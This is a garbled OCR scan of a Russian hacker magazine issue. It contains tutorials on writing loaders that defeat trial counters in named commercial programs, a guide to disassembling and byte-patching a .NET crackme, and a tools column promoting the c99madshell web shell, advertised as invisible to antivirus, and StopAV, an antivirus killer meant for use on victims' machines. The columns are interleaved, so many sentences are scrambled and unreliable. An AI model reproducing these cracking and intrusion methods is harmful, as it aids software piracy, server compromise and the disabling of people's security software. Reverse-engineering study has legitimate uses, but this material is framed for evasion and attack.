UINT GetWindowsDirectory( ляющейся движком для озвучивания текстовых файлов на русском языке.
LPTSTR lpBuffer, // в этот буфер будет записан путь Дело в том, что Digalo спроектирован как trial-проект. Этим мы сейчас и
к windows каталогу воспользуемся.
UINT uSize, // размер буфера После установки Digalo в системной директории Windows волшебным обра-
); зом появляется файл DigaloRegister.exe, который Digalo загружает при
каждом запуске. Этот файл отвечает за регистрацию программы и управление
А пункт 4 выполняем по шаблону Total Commandera :). триальным счетчиком. Одновременно он является лучшим кандидатом на
замену нашим лоадером, который будет работать по следующим инструкциям:
Лоадер типа «DelTrialCounter-reg»
Триальные счетчики редко хранятся в файлах. Хитрые шаровар- 1. Проверяем, есть ли искомый ключ в реестре
щики ныкают их в системный реестр. Однако это не особо услож- 2. Если есть — удаляем счетчик (ключ в реестре)

064 xàêåð 05 /113/ 08


>> взлом
R
LOADE WindowScanner во всей
красе

video
На DVD ищи ви-
деоурок, в котором
показаны основные
аспекты взлома
триальных программ.

warning
Внимание! Инфор-
мация представлена
Именно там, в реестре, Digalo хранит свои тайны. Собственно, Лоадер типа «Combo» исключительно с
перечисленных пунктов достаточно. Diglio 2000 сам будет Ну и наконец, рассмотрим этакий три в одном вариант — лоа- целью ознакомления!
запускать наш лодер, сам будет удалять свои счетчики (не без дер, который совмещает в себе несколько лоадеров. Его мы Ни автор, ни редакция
нашей помощи) — в общем, будет делать все, чтобы программа будем писать для продвинутой утилиты создания скриншотов за твои действия
продолжала работать. и их редактирования — HyperSnap 6. ответственности не
После небольшого обследования выяснилось, что защита несет!
Лоадер типа «SetLocalTime» сего творения ныкает счетчик в реестр. Если быть более
Этот тип лоадера позволяет заменить лоадеры второго и точным, то счетчиков несколько и нычек тоже. Также мы имеем
третьего типа, то есть пропустить авантюрно-захватывающее окно типа НАГ, паразитирующее на наших нервах. Но это еще
приключение под названием «найди, где я спрятал trial-счет- не все: утилита периодически создает файл с trial-меткой во
чик». Всего-то нужно вспомнить о замечательной временной директории Windows. Поэтому заучим еще одну
API-функции: удобную функцию:

BOOL SetLocalTime( DWORD GetTempPath( dvd


const SYSTEMTIME* lpSystemTime DWORD nBufferLength, // размер буфера обычно На диске ищи все
); MAX_PATH упомянутые в статье
LPTSTR lpBuffer // буфер, в котором запишется программы для кря-
Функция устанавливает заданное в структуре SYSTEMTIME путь керского мастерства.
время. Структура SYSTEMTIME довольно большая, поэтому ее );
описание ты найдешь в исходнике к статье. Смысл использо-
вания лоадера в том, что, как правило, подопытная программа Функция дает нам путь к временной директории Windows.
при запуске получает текущую дату и сравнивает ее с датой Защита HyperSnap по полной мусорит на нашем компьютере
установки. Эта разница и есть интересующий программу — придется за ней убирать. Дабы не портить собственные
срок. Следовательно, наша задача — скармливать программе нервы, поручим это лоадеру, который будет смесью лоадера
одну и ту же дату. Примером будет замечательная программа первого, второго и третьего типов. Составим план нападения:
декомпилятор для .NET сборок — Reflector, которая является
Freeware, но, тем не менее, через пару месяцев начинает 1. Удаляем ключи в реестре
кидать фразы «is out of date» или «do you want to 2. Удаляем файл-метку
update automatically?». Клиент наш, будем лечить. Ле- 3. Запускаем программу
чение будет заключаться в процедурах, которые мы воплотим 4. Дожидаемся НАГА
в лоадере: 5. Находим нужную кнопку
6. Активируем кнопку
1. Запомним текущую дату 7. Нажимаем на кнопку
2. Установим нужное для Reflector’а время
3. Сделаем паузу в пару секунд (чтоб Reflector На скриншотах показаны места хранения trial-меток (на твоей
успел запросить фальшивую дату) машине они могут оказаться другими). Конечно, они страшно
4. Запускаем прогу зашифрованы-закриптованы-засекречены. Такая таинствен-
5. Возвращаем правильное время, предваритель- ность нам ни к чему... поэтому мы просто их удалим :).
но откорректировав его с учетом паузы В сценарии нам незнаком только пункт 5. Его реализация
проста, ведь, чтобы активировать кнопку, нужно послать ей
В качестве фальшивой даты сойдет дата создания файла сообщение WM_ACTIVATE с помощью уже известной функции
Reflector.exe. SendMessage. Ну вот, только что мы заставили работать

xàêåð 05 /113/ 08
065
>> взлом

Total безобразничает
LOA
DER

программу, защищенную серьезным протектором Armadilo, без SoftICE, без тельности их столько, сколько есть способов хранить trial-счетчики.
OllyDbg, без IDA — практически голыми руками. Применение лоадеров не ограничивается сугубо деструктивными мо-
ментами — их можно использовать и в мирных целях. К примеру, перед
Заключение запуском какой-либо программы — для подготовки данных (отсортировать,
Подобными дырами в защите страдают даже серьезные и известные отобрать нужные, отредактировать). Или, скажем, тебе приходится рабо-
программы. Например, очень давно на одном знакомом мне компьютере тать одновременно с несколькими программами. Можно написать лоадер,
лоадер успешно загружал 3D MAX, прекрасно справлялся с Nero 6.xx, пока который будет их запускать, меняя позицию окон и размер так, как тебе
доблестные немцы не прикрыли лавочку в 7x версиях. удобно. Кстати, можно создать этакий «суперлоадер», который будет управ-
Статья не претендует на роль «Библии лоадеров», она лишь знакомит с лять всеми лоадерами на твоей машине, так сказать, менеджер лоадеров.
основами лоадеростроения, показывает, откуда начать. Чтобы продолжить, В общем, есть о чем подумать и где развернуться.
нужны манускрипты Рихтера, Фень Юань’я, ну и, конечно, Криса Каспер- Полные листинги лоадеров с комментариями, конечно же, прилагаются
ского. Их песни помогут «улучшить и углубить» код. к статье. Код лоадеров максимально упрощен, понять его несложно, ибо
MSDN, cracklab.ru, wasm.ru не упоминаю. Это само собой разумеющиеся написаны они на С и Assembler (лоадеры модно писать на ASM’е, ну а мы с
ресурсы. тобой, безусловно, модные перцы). Последний лоадер специально напи-
В статье рассмотрены далеко не все способы борьбы с shareware-подоб- сан на VB.NET, чтобы показать, что грозой шароварщиков может стать даже
ными лоадерами, а лишь самые простые и распространенные. В действи- школьница-старшеклассница со знанием такого мирного языка.z

«Нагадил в реестре HyperSnap» — раз «Нагадил в реестре HyperSnap» — два

066 xàêåð 05 /113/ 08


>> взлом

Крис Касперски

Раскрываем
код
Дизассемблирование C# программ от A до Z

Победоносное шествие .NET-платформы по миру продолжается, а вменяе-


мых руководств по взлому что-то не видно. Сегодня я расскажу, как дизас-
семблировать Visual Basic/C# сборки, патчить в hiew’е и вести отладку на
уровне байт-кода. Сейчас мы заправим мозговые баки свежей порцией авиа-
ционного керосина, выведем двигатели на взлетный режим и дадим хоро-
ший старт, написав свой собственный crackme и тут же взломав его всеми
доступными средствами.

ехнология .NET готовится праздновать свой юбилей. За общем, солидный 556‑страничный документ из серии «маст хэв» (на анг-
T минувшее время было написано множество коммерческих лийском языке, в формате pdf): www.ecma-international.org/publications/
программ (и малвари в том числе), но как только дело доходит standards/Ecma-335.htm. А вот прямая ссылка: www.ecma-international.
до того, чтобы заглянуть внутрь p-кода на предмет «отломать» org/publications/files/ECMA-ST/Ecma-335.pdf.
пару ненужных байт, выясняется, что достойных хакерских инструментов 4. CIL Instruction Set. Краткий справочник оп-кодов с «C# Online.NET free
нет. И, судя по всему, не появится. Поэтому приходится использовать, что encyclopedia» — жутко неполный, но удобный и без воды (на английском
есть, хакерствуя в весьма стесненных обстоятельствах, словно шахтеры в языке): http://en.csharp-online.net/CIL_Instruction_Set.
забое! 5. Введение в MSIL. Цикл статей от Кенни Керр в переводе Aquila (одного из
основателей WASM). Представляет собой подробное описание архитектуры
Что нам понадобится виртуальной машины и концепций языка C#, рекомендуемое к прочте-
Итак, сейчас я перечислю хакерский арсенал, который поможет нам в нию всем начинающим хакерам (на русском языке): www.wasm.ru/series.
нелегком ремесле. php?sid=22.
1. Visual Studio 2008 Express. Последняя версия знаменитой «студии» от 6. Common Intermediate Language. Поверхностное описание CIL-языка
MS, распространяющаяся бесплатно и включающая в себя все необходи- (общего для всех языков платформы .NET) на Wikipedia со ссылками на кучу
мое для полноценной работы: трансляторы Visual Basic, C#, а также новый полезных ресурсов (на английском языке): ttp://en.wikipedia.org/wiki/
компилятор Cи++, способный транслировать Си++ программы в байт-код. Common_Intermediate_Language.
На W2K устанавливаться категорически отказалась, а на Server 2003 встала 7,8,9,10... Прочие примочки и описания. Полный листинг ищи на нашем
с полпинка (off-line install занимает 894 Мбайт в .iso-формате): http://www. DVD.
microsoft.com/express/download/.
2. Mono 2.0 Beta for Windows. Альтернативная реализация .NET от Пишем свой первый crackme
компании Novell, поддерживающая различные версии Linux и Windows, Глубоководное погружение в байт-код .NET-программ начинается!
нормально встала на W2K, но потребовала MS Framework. Кроме того, Пристегиваем ремни, проверяем, все ли на месте, и запускаем Microsoft
комплект поставки неполный (в частности, нет дизассемблера), а откомпи- Visual Studio или FAR + Colorer. Работать в IDE, конечно, удобнее (особенно
лированные сборки жутко тормозят, зато дистрибутив занимает 71 Мбайт: начинающим, ведь среда автоматически отображает список методов для
http://www.go-mono.com/mono-downloads/download.html. каждого класса — не надо постоянно лазить в справочники), однако это
3. Standard ECMA-335/Common Language Infrastructure (CLI)/4th edition порочный путь, абстрагирующий нас от машины. Мы — хакеры старого
(June 2006). Полная версия европейского стандарта, описывающая архи- поколения — предпочитаем консольные текстовые редакторы с подсветкой
тектуру виртуальной машины, байт-код, структуру ассемблерных сборок, в синтаксиса или даже без таковой.

068 xàêåð 05 /113/ 08


>> взлом
Текст нашего первого crackme, написанного на C#, в простейшем случае $cl.exe /clr hello-clr.cpp
выглядит так. Это консольная программа, вручную набранная в текстовом
редакторе. IDE пихает сюда много лишнего, затрудняющего понимание, но Полученный файл hello-clr.exe представляет собой смесь управляе-
на скомпилированном коде это никак не отражается. мого байт-кода с большим количеством вызовов неуправляемого машин-
ного кода из различных библиотек — плюс он тянет за собой RTL, написан-
Исходный текст программы n2k_crackme_01h.cs ную на байт-коде. Это позволяет сочетать высокую скорость выполнения с
// использовать классы основной системной библиотеки управляемостью и безопасностью. Впрочем, «чистые» C# сборки все-таки
using System; выигрывают как в размерах, так и в скорости. Чуть позже ты убедишься в
этом самостоятельно, а пока же поверь мне на слово.
class nezumi
// имя класса — произвольно и может быть любым Первые эксперименты
{ Загружаем подопытный n2k_crackme_01h.exe в HIEW, дважды давим
static void Main() <ENTER> для перевода редактора в дизассемблерный режим, жмем <F5>
{ и попадаем в точку входа, где красуется команда jmp _CorExeMain ;
// объявляем переменную s типа строка mscoree.dll. Это весь машинный код, какой только есть.
string s; Дальнейшее расследование показывает, что jmp находится в самом конце
секции .text, за которой располагаются секции ресурсов и перемещаемых
// запрашиваем у пользователя пароль элементов, а выше — байт-код виртуальной машины. Просматривая его
System.Console.Write("enter password:"); в hex-mode, мы обнаружим все текстовые строки (и пароль в том числе!) в
s = System.Console.ReadLine(); формате Unicode, причем, перед строкой находится байт, определяющий
длину строки. Узнав оригинальный пароль мы, конечно, без труда смогли бы
if (s == "nezumi") { «взломать» crackme — однако редкая программа хранит пароли открытым
// сравниваем введенный пароль с эталонным текстом, да и неинтересно это.
System.Console.WriteLine("hello, master!"); Лучше загрузим в HIEW другой исполняемый файл, написанный на Си++ —
} hello-clr.exe. Он так же вызывает CorExeMain. В отличие от «чистой»
else { .NET сборки, написанной на C#, здесь присутствует большое количество
System.Console.WriteLine("fuck you, hacker!"); «переходников» к машинному коду — функциям strcmp, gets, printf,
} напрямую вызываемым из библиотеки MSVCR90.DLL. За это отвечает ме-
} ханизм P/Invoke, позволяющий создавать «гибридные» программы, часть
} из которых транслируется в машинный код, а часть — в интерпретируемый
байт-код, что серьезно затрудняет взлом. Не волнуйся, когда мы возьмемся
В среде IDE сборка .NET-программ осуществляется клавишей <F6>, а из за дело, никакой P/Invoke нас не остановит! А пока загрузим .NET-сборку в
командой строки (при этом csc.exe должен находиться в путях, чего не нормальный дизассемблер.
происходит при установке по умолчанию):
Техника дизассемблирования
$ csc.exe n2k_crackme_01h.cs Загружаем n2k_crackme_01h.exe в IDA Pro и видим, что ничего ужас-
ного в CIL-коде нет. Напоминает байт-код виртуальной Java-машины. IDA
В Mono вместо csc.exe используется файл mcs/mcs.bat, но, незави- Pro не только создает перекрестные ссылки, но и показывает опкоды, и
симо от способа сборки, мы получаем n2k_crackme_01h.exe, готовый расставляет комментарии к командам, избавляя от необходимости каждый
к запуску. После чего нас спросят пароль и, если мы введем его неверно раз заглядывать в справочник (ECMA-335/Partition III/CIL Instruction Set).
— пошлют. Чтобы дизассемблер был дружелюбнее к хакеру, необходимо выпол-
Компиляция осуществляется путем указания ключа /CLR в командной нить следующие действия. В меню «Options» выбрать пункт «Text
строке компилятора CL.EXE (рядом с которым можно указать ключ /Ox для representation». Там указать количество байт для отображения опкода
форсирования максимальной оптимизации): («Number of opcode bytes») — шести вполне хватит. В разделе «Line
prefixes» нужно сбросить все галочки, кроме «Function offsets», после
чего вновь возвратиться в меню «Options», зайти в «Comments» и

Хакнутая программа любой пароль воспринимает как правильный

Так выглядит «честная» .NET сборка в hex-редакторе Консольная версия IDA Pro дизассемблирует .NET сборку

xàêåð 05 /113/ 08
069
>> взлом

Dotnet IL Editor — IL-отладчик с GUI-интерфейсом

взвести «Display auto comments» для автоматического отображения


комментариев ко всем инструкциям (впрочем, при наличии некоторого Сеанс работы с отладчиком mdbg.exe «как он есть»
опыта работы с CIL-кодом этого можно и не делать).
Поклонники графической версии IDA Pro могут задействовать графы, упро-
щающие (на самом деле — усложняющие) понимание структуры програм- Запускаем хакнутый файл и... о чудо! Он работает! Теперь любой,
мы. Тут уж, как говорится, на вкус и цвет все фломастеры разные. Лично я наугад взятый пароль, например, «123456» воспринимается как
никогда не пользовался графами и другим не советую. правильный. Конечно, если программа снабжена цифровым сертифи-
А теперь посмотрим, на что способен штатный дизассемблер от Microsoft, катом подлинности или использует механизм контроля целостности
по умолчанию расположенный в каталоге C:\WINDOWS\Microsoft. собственного кода, этот номер не пройдет, но ведь взлом надо же с
NET\Framework\v2.0.50727\. Зовется он ilasm.exe. Загружаем в чего-то начинать!
него n2k_crackme_01h.exe.
Хм, в общем-то, довольно неплохая картина получилась, а навигация по Техника отладки
классам выполнена даже лучше, чем в IDA Pro, причем намного лучше (при- Спору нет, дизассемблер — весьма популярный инструмент для
мечание: чтобы ildasm.exe отображал опкоды инструкций, необходимо исследования программ. Популярный, но не единственный. Во
в меню View взвести галочку «Show bytes»). многих случаях отладчик оказывается намного более предпочти-
Самое время исследовать дизассемблерный текст нашей программы. Тут
все ясно без травы и даже без комментариев (особенно тем, кто знаком с
виртуальными машинами со стековой организацией). Если опустить де-
тали, получается следующее: программа вызывает System.Console::
Write("enter password"), после чего считывает строку в пере-
менную V_0 и вызывает функцию System.String::Equality(V_0, Основные
"nezumi") для проверки строк на соответствие. В случае их несовпаде-
ния на экран выводится строка «fuck off, hacker!», управление на команды отладчика
которую передается машинной командой brtrue.s IL_0031 (с опкодом
2Dh 0Dh). Получившуюся выкладку ищи на диске.
Чтобы заставить программу воспринимать все пароли как правильные,
mdbg.exe
двухбайтовый условный переход brtrue.s IL_0031 необходимо help: вывод встроенной справки, «help команда» — подробная
заменить на пару однобайтовых команд nop (опкод — 00h, а вовсе не справка по команде;
90h, как на x86). Или же… заменить brtrue.s IL_0031 на brFALSE. a[ttach]: подключение к активному .NET-процессу;
s IL_0031. Тогда любой неправильный пароль будет восприниматься как b[reak]: установка точки останова или отображение уже сущес-
правильный и, соответственно, наоборот. Открыв ECMA-335, мы узнаем, твующих;
что инструкция brfalse.s имеет опкод 2Ch — это все, что нам необходи- ca[tch]: просмотр событий (events), вызывающих останов
мо знать для взлома программы. отладчика;
conf[ig]: просмотр опций отладки/конфигурирования отладчи-
Техника патча ка;
Так, где наш HIEW? Готов ко взлому? Как нам определить местоположение del[ete]: удаление точки останова;
байта, который мы собрались захачить? Ведь виртуальные адреса в кон- de[tach]: отключение от отлаживаемого .NET-процесса;
тексте CIL-кода неуместны! g[o]: продолжение работы программы;
Воспользуемся дедовским способом и поищем последовательность байт n[ext]: Step Over;
(сигнатуру), обитающую в окрестностях целевой команды. В нашем случае o[ut]: Steps Out;
это может быть 2Dh 0Dh 72h 2F 00h 00h 70h 28h (об обратном поряд- s[tep]: Step Into;
ке байт не забываем, да? Ildasm автоматически «нормализует» аргументы p[rint]: вывод содержимого локальных переменных;
команд, IDA Pro — нет, показывая их такими, какие они есть: наименее q[uit]: выход из программы;
значимый байт располагается по младшему адресу). Короче, вбиваем r[un]: запуск программы под отладчиком;
заданную последовательность в поиск и, убедившись, что это вхождение set: изменение значение переменных;
— единственное, переводим HIEW в режим записи по <F3>. Заменяем 2Dh setip: установка текущей выполняемой команды;
на 2Ch, сохраняем изменения в файле по <F9> и выходим. sh[ow]: показ окрестностей выполняемого кода.

070 xàêåð 05 /113/ 08


>> взлом

Единственная (на сегодня) реализация платформы .NET вне Microsoft

Дамп двоичной .NET-сборки в ассемблерный Расследование показало, что штатному .NET отладчику (зовущемуся mdbg.
файл штатным дизассемблером ildasm.exe exe, где «m» — сокращение от managed, то есть управляемый код) для
нормальной работы вполне достаточно pdb-файла. Вот только как этот файл
получить? IDA Pro может подготовить map-файл, но готовых конверторов
тельным. Вместо того чтобы гадать, какое значение имеет пере- map2pdb в Сети что-то не наблюдается, а писать самому — лениво и непро-
менная в данной точке (в дизассемблере), гораздо практичнее дуктивно.
заглянуть в нее отладчиком. К счастью, существует весьма простой и элегантный путь. Дизассембли­-
И вот тут выясняется любопытная вещь. На уровне исходных текстов руем бинарную сборку штатной утилитой ildasm.exe, после чего ассемб-
Microsoft Visual Studio справляется с отладкой на ура, но готовые бинарные лируем ее заново штатным же транслятором ilasm.exe, не забыв указать
сборки, увы, не поддерживает. Для работы с ними необходимо использо- «волшебный» ключик /pdb для генерации отладочной информации.
вать ICorDebug-интерфейс, встроенный в ядро платформы .NET и реа- Поскольку ildasm.exe поддерживает ресурсы и корректно их дампит, то
лизующий базовые отладочные возможности (установка точек останова, предложенный способ работает в подавляющем большинстве случаев, что
пошаговое исполнение и т.д.), предоставляя их в виде набора API-функций. мы сейчас и продемонстрируем.
Все .NET-отладчики, которые я видел, являются достаточно тонкими Запускаем ildasm.exe с настройками по умолчанию, загружаем в него
обертками вокруг ICorDebug Interface и наследуют его худшие черты, а n2k_crackme_01h.exe (оригинальный, а не хакнутый). В меню File
именно — невозможность отлаживать программы без символьной (отла- находим пункт Dump (или нажимаем <CTRL-D>), в появившемся окне
дочной) информации, автоматически удаляемой из всех Release-проектов. «Dump options» (смотри рисунок) оставляем все галочки в состоя-
Выходит, что мы можем отлаживать только свои собственные программы?! нии по умолчанию. Главное, чтобы была взведена галочка «Dump IL
Нехорошо!­ Code»! После нажимаем «OK» и вводим имя файла для дампа (напри-
мер, «cracked»).
По окончании дизассемблирования на диске образуются два файла
— cracked.il с ассемблерным текстом программы и cracked.res с
ресурсами. Cracked.il представляет собой обыкновенный текстовой

Терминологи­- файл, который можно править в любом текстовом редакторе, при необхо-
димости заменяя «brtrue.s IL_0031» на «brfalse.s IL_0031». Но

ческое болото сейчас нас в первую очередь интересует не патч, а отладка.


Берем штатный ассемблер и собираем файл следующим образом:

.NET: древняя, как мир, идея двухстадийной компиляции; снача- $ilasm.exe cracked.il /pdb
ла программа (написанная хоть на Java, хоть на Visual Basic, хоть
на Cи++, хоть на C#, хоть на F#) транслируется в промежуточ- На диске образуются файлы cracked.exe и cracked.pdb, готовые
ный байт-код, который окончательно транслируется в «родной» к загрузке в отладчик. Что примечательно — отладочная информация
двоичный код на конкретной целевой машине или же исполняет- непосредственно в сам исполняемый файл не записывается. Это
ся в режиме интерпретации; очень хорошо, иначе нам пришлось бы потом оттирать ее оттуда или
CLR: Common Language Runtime («общая среда выполнения язы- мириться с увеличением размера поломанного exe, что вряд ли входит
ков») — компонент Microsoft .NET Framework, включающий себя в наши планы.
виртуальную машину и необходимые библиотеки; ОК, набираем в командной строке «$mdbg.exe cracked.exe» и…
CIL: Common Language Infrastructure — «спецификация общеязы- оказываемся в консольном окне отладчика, автоматически останав-
ковой инфраструктуры», определяющая архитектуру испол- ливающегося на первой команде функции Main (передает нам бразды
нительной системы, базовые классы, синтаксис и мнемонику правления). А что такого крутого и хорошего мы можем сделать?
байт-кода; Начнем с просмотра окрестной, за что отвечает команда «show» или ее
MSIL: Microsoft Intermediate Language («промежуточный язык от более короткий алиас «sh». Результат выглядит так:
Microsoft») — байт-код виртуальной .NET машины в реализации
от Microsoft; Результат работы команды «sh», показывающей IL-код
IL: Intermediate Language («промежуточный язык») — байт-код run cracked.exe
виртуальной .NET машины, стандартизованный в рамках ECMA- # запущена бинарная сборка cracked.exe
335. STOP: Breakpoint Hit

xàêåð 05 /113/ 08
071
>> взлом

Коллекция .NET crackmes на одноименном сайте

Тут можно бесплатно скачать последнюю версию Microsoft Visual Studio

Графическая версия IDA Pro дизассемблирует .NET сборку

Штатный дизассемблер ildasm.exe за работой

Внешний вид .NET-сборки, полученной путем трансляции Си++ программы

# точка останова в функции main жимого которой команда «IL_0022: brtrue.s IL_0031» прыгает
43: IL_0000: nop # следующая выполняемая команда на метку IL_0031 (неверный пароль). Или… не прыгает. Все ясно! Нам
[p#:0, t#:0] mdbg> sh нужно установить точку останова на команде «IL_0020: stloc.1»,
# просим отладчик показать окрестности кода по "sh" расположенной в 55’ой строке файла cracked.il, а дальше мы уже
40 .maxstack 2 сориентируется. Весь сеанс работы с отладчиком mdbg.exe ищи на DVD
41 .locals init (string V_0, bool V_1) в полномасштабной статье. Если кому-то родители запрещают использо-
вать консоль, что ж, к его услугам Dotnet IL Editor — бесплатный IL-отлад-
43:* IL_0000: nop чик с GUI-интерфейсом, однако mdbg.exe мне как-то больше по душе (к
# команда выполняемая следующей тому же под него расширения всякие можно писать).
44 IL_0001: ldstr "enter password:" Впрочем, выбор отладчика непринципиален. Важна сама техника иссле-
дования .NET-программ, которую мы только что и продемонстрировали.
45 IL_0006: call [mscorlib]System.
Console::Write(string) Заключение
[p#:0, t#:0] mdbg> Разумеется, в рамках одной-единственной статьи невозможно охватить
все аспекты взлома .NET-программ. В частности, совершенно нетронутой
Остальные команды отладчика можно найти во встроенной справке осталась тема упаковщиков бинарных сборок и протекторов, распаковы-
(вызываемой командой help) или же в одноименной врезке. Сейчас нас вать которые приходится руками. Это тема для отдельного разговора.
интересует техника работы с отладчиком. Ну, техника, как техника. Никаких А пока имеет смысл потренироваться на простых, несильно защищенных
принципиальных отличий от x86 не появилось. коммерческих программах (которые можно найти в Сети), малвари (взятой
При просмотре ассемблерного файла cracked.il находим команду оттуда же) и crackme, залежи которых находятся на сайте www.crackmes.de
«IL_0020: stloc.1», которая стягивает со стека результат сравнения (где даже есть специальный раздел, посвященный исключительно плат-
двух строк, возвращенный функцией System.String::op_Equality. форме .NET).
За ней следует команда «IL_0021: ldloc.1», загружающая получен- Я надеюсь, что эта статья обеспечит хороший старт, а остальное — дело
ное значение в локальную переменную V_1, в зависимости от содер- времени, техники и бесчисленных экспериментов! z

072 xàêåð 05 /113/ 08


>> взлом

x-tools
Леонид «R0id» Стройков
/ [email protected] /

Программы для хакеров

Программа: c99madshell дографика) что скрипт осуществляет поиск по заданным


ОС: Win/*nix • Невидимость для антивирусов критериям и сохраняет фотки юзеров. Все, что
Автор: madnet (скрипт полностью переписан, тело от тебя требуется — указать в сорце значения
закодировано) нескольких переменных:
• Уменьшенный размер (удалено все
лишнее, размер составляет 44 Кб) $id=""; // — твой ID
• Отсутствие GET-запросов (все за- $email=""; // — твой мыльник
просы передаются POST-методом) $password=md5("");// — твой пароль
• Пофиксены мелкие недочеты $sex="1"; // — пол, 1 — женский,
2 — мужской (не знаю, как для тебя, а
Новый вариант веб-шелла пропалить гораздо мне девушки все-таки предпочтитель-
сложнее, чем предыдущий (конечно, если ты не нее :))
будешь заливать в корень веб-диры скрипт с $city="1"; // — ID города
Доработанный c99shell названием shell.php :)). Кроме того, c99madshell
обладает приятным и удобным интерфейсом, что Ниже перечислено несколько примеров ID для
Помнится, не так давно выкладывал я подборку является несомненным плюсом в повседневной городов:
самых разных веб-шеллов. Были там и php, и perl, рутине. В общем, какой из веб-шеллов юзать
и asp-скрипты. Но время идет, а хакерская мысль — решать тебе, я лишь немного расширил выбор. 49 — Екатеринбург, 60 — Казань
не стоит на месте. Хочу представить твоему вни- 61 — Калининград, 72 — Краснодар,
манию достойную переделку популярного веб- Программа: Vkontakte Search 73 — Красноярск, 1 — Москва,
шелла «c99shell» под названием «c99madshell». ОС: Win/*nix 87 — Мурманск, 95 — Нижний Новгород,
Веб-шелл написан на основе c99shell и перенял Автор: — Hormold- 99 — Новосибирск, 104 — Омск,
все его положительные стороны, такие как: 110 — Пермь, 119 — Ростов-на-Дону,
123 — Самара, 2 — Санкт-Петербург
• Удобный обозреватель и редактор
файлов на сервере Думаю, с запуском скрипта проблем не возникнет,
• Функциональный SQL-клиент а вот с парсингом результатов поиска дело обстоит
• Командная строка сложнее. Посему предлагаю заюзать отдельный
• Выполнение произвольного PHP-кода скрипт для обработки лога:
• Поиск файлов .htpasswd, config.
inc.php, suid, sgid, service.pwd, <?
bind_bash, .fetchmail, etc error_reporting (E_ALL);
• Работа с буфером Ищем девушек «Вконтакте» :) $file=file("log.txt");
• Менеджер процессов for($i=0; $i < count($file); $i++){
• Базовая оценка безопасности сер- «Вконтакте» по-прежнему привлекает все новых list($id,$img,$nick,$rep)=explode(
вера и новых пользователей. Возможно, именно ":",$file[$i]);
• Работа при включенном SafeMode- поэтому ресурс постепенно становится одной echo "Id:$id($nick)<BR><IMG
режиме из основных мишеней для спамеров и хакеров SRC=’img/".$id."_".$img."°><BR>";
• Совместимость со всеми операцион- рунета. Надо отдать должное админам портала
ными системами — все немногочисленные баги они прикрывают echo $file[$i];
• Защита путем авторизации (логин/ достаточно быстро, но, тем не менее, у меня есть,
пароль) чем тебя порадовать. Нет, я не буду предла- }
гать заюзать очередную спамилку или брутер echo count($file);
Из основных нововведений, приобретенных аккакунтов. Вместо этого представляю тебе тулзу ?>
скриптом, отметим: «Vkontakte Search». Утила написана на PHP и
предназначена для поиска нужных людей на После парсинга лога ты без проблем сможешь
• Упрощенное отображение (никакой просторах ресурса (например, симпатичных де- в удобочитаемом виде узнать, сколько людей и
лишней графики, только текст и псев- вушек :)). Да-да, самые догадливые уже поняли, кого именно нашел скрипт, ну и, естественно,

074 xàêåð 05 /113/ 08


>> взлом
просмотреть фотки. Другими словами, если тебе Программа: Anti Keylogger Shield • Записываемая последовательность
есть, кого искать или ты собираешься замутить ОС: Windows 2000/XP действий разбивается на отдельные шаги
очередную пати, пригласив с десяток симпа- автор: Amic Tools («нажать на кнопку», «ввести текст»),
тичных девчонок, — эта тулза явно для тебя. которые впоследствии могут быть с лег-
Кстати, скрипт несложно переписать под работу с костью настроены или изменены.
несколькими аккаунтами, так что дерзай.
Область применения тулзы напрямую зависит
Программа: StopAV от твоей фантазии. В качестве примера можно
ОС:Windows XP привести:
Автор: Dr.Samuil
Юзаем антикейлоггер
• Запись CD или DVD диска: запустить
программу записи, выбрать файлы из
Если предыдущая утила поможет тебе избавиться заданного каталога, дождаться окон-
от антивирей (причем, не обязательно у себя на чания записи и извлечь диск
компе :)), то кто расправится с кейлоггерами на твоей • Отсканировать, распознать и сохра-
машине? Не секрет, что большинство троев включают нить документ в файл, даже если каж-
поддержку логирования набранного с клавы текста, дый шаг будет выполняться отдельной
что делает их с одной стороны еще опаснее, а с другой программой
— уязвимее. Все просто — тулза Anti Keylogger Shield • Автоматически установить и настро-
способна оградить тебя от практически любого ить проги на нескольких компьютерах
Убиваем антивири наповал кейлоггера, а значит, от троя, с работающей функцией • Применить серию фильтров и эффек-
кейлога. В отличие от многих похожих продуктов, Anti тов в программе обработки изображе-
Описывая различные бэкдоры или, как их Keylogger Shield с успехом обходится без какой-либо ний
еще принято называть — «системы удален- базы данных. Утилита блокирует механизмы, по
ного администрирования» (несанкциони- которым работают известные или неизвестные кей- Кто знает, быть может, ты научишь утилу парсингу багов
рованного…), невольно задумываешься об логгеры, после чего они перестают функционировать. через Гугл или автоматизированному поиску инъектов
установленном на машине жертвы антивиру- Из особенностей утилы можно выделить: — все в твоих руках. Огорчает одно: триальная версия
се. Убить антивирь ручками далеко не всегда проги работает всего 30 дней. Хотя, для подобной ути-
является возможным, однако, товарищ • Бесплатность лы потратить пару баксов из своего кармана не жалко
Dr.Samuil позаботился об этой проблеме, • Работа в трее :). Взять программу можно по адресу automationbox.
накодив такую полезную утилу, как StopAV. • Обнаружение неизвестных кейлог- com/ru/downloads.html, либо на нашем DVD.
Тулза написана на Delphi и представляет геров
собой убийцу антивирей. На данный момент
утила убивает: После запуска тулзы ты не почувствуешь ка- Программа: AutomationBox Tools
ких-либо изменений, кроме своего душевного ОС: Windows 2000/XP
• McAffee AntiVirus 7.1 Enterprise спокойствия :). автор: AutomationBox
• Антивирус Касперского 6.0
• Антивирусная утилита AVZ 4.29
• Утилита для обнаружения сканиро- Программа: MouseRobot
вания портов 1.90 ОС: Windows 2000/XP
• Kaspersky Internet Security 7.0 автор: AutomationBox
• Panda Antivirus 2008 (3.00.00) Наверняка, в глубине души ты не раз мечтал
• WinAntiVirus Pro 2007 об ИИ (искуственном интелекте) в теле твоего
• Trend Micro OfficeScan 7.0 питомца (компа/ноута). Спешу тебя обрадовать,
• NOD32 AntiVirus 2.7 с утилой MouseRobot ты станешь на шаг ближе
к заветной мечте. Конечно, тулза не заменит Автоматическая запись болванки
Не хочется говорить лишних слов по поводу человека, но обучаться новым заданиям ей
правомерности использования тулзы и вполне под силу. Суть утилы заключается в Еще одна утила для автоматизации выполняемых
прочего, поэтому я процитирую обращение автоматизации действий в Винде — софтинка на компе деяний — AutomationBox Tools. Точнее
автора, из которого тебе все станет ясно: способна запоминать и повторять необходимую сказать, набор утил, включающий:
работу. Основные преимущества MouseRobot в
«Программа не должна использо- сравнении с аналогичными программами: • abtplay — эмуляция ввода с клавиа-
ваться в противоречии с законами туры и мыши
